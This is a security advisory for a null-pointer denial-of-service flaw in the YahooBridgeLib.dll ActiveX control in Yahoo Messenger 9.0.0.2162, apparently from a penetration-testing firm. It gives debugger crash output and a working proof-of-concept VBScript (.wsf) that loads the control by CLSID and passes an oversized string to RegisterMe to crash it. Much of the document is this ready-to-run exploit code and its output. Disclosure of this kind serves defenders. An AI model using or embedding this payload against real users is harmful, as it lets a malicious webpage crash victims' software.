********************************************************************************
Product:
Yahoo Messenger 9.0.0.2162


********************************************************************************
Vulnerability:
ActiveX Null Pointer - Denial of Service


********************************************************************************
Description:
Yahoo Messenger is prone to a denial-of-service (cause of null pointer) vulnerability.
Vulnerability is in YahooBridgeLib.dll (Activex Control)

An attacker can exploit this vulnerability by enticing an unsuspecting victim to view a malicious webpage. 




********************************************************************************
Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com




********************************************************************************
Debugger Results:

(1910.1a18): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=100092b4 ecx=018f0898 edx=002ae8d4 esi=00000000 edi=00000000
eip=10001074 esp=002ae858 ebp=002ae8dc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** WARNING: Unable to verify checksum for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll - 
YahooBridgeLib+0x1074:
10001074 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000000=????????

0:000> !analyze -v
...
...
...
PRIMARY_PROBLEM_CLASS:  NULL_POINTER_READ

DEFAULT_BUCKET_ID:  NULL_POINTER_READ



********************************************************************************
PoC (.wsf script) :

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>


arg1=String(11284, "A")

target.RegisterMe arg1 

</script>

</job>

</package>